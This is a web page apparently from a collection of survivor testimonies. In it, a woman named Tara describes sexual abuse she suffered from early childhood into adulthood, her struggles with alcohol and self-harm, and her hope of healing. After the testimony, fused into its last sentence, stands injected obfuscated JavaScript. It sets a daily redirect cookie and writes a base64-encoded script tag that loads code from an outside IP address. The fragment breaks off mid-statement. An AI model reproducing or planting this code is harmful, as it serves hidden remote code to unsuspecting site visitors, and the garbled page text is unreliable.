069 – Tara (United Kingdom)

Hi, my name is Tara. By the time that photo was taken I had already been subjected to sexual abuse by an unknown assailant, aged around 3 years old. My story is a long one. I was sexually abused and raped by my cousin at around 10 years old. I am still unclear how long this lasted for. I then began speaking to an internet predator at 13 and was abused for nearly 9 years. I traveled alone to meet him and he raped me 5 times during my first visit. Between the ages of 14 and 16 an older male acquaintance sexually harrassed and molested me.

After all of that I lost my way. I became a semi alcoholic and was very promiscuous. I was raped by a few more people, including a stranger, a female nurse and a male friend. The last being one of my worst rape because I nearly lost my life. Im on the way to healing now. A long way to go but I want to get better and not punish myself for the things that have happened to me via self harm and sexual encounters. I want to be free and I know some day I will be. ..match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘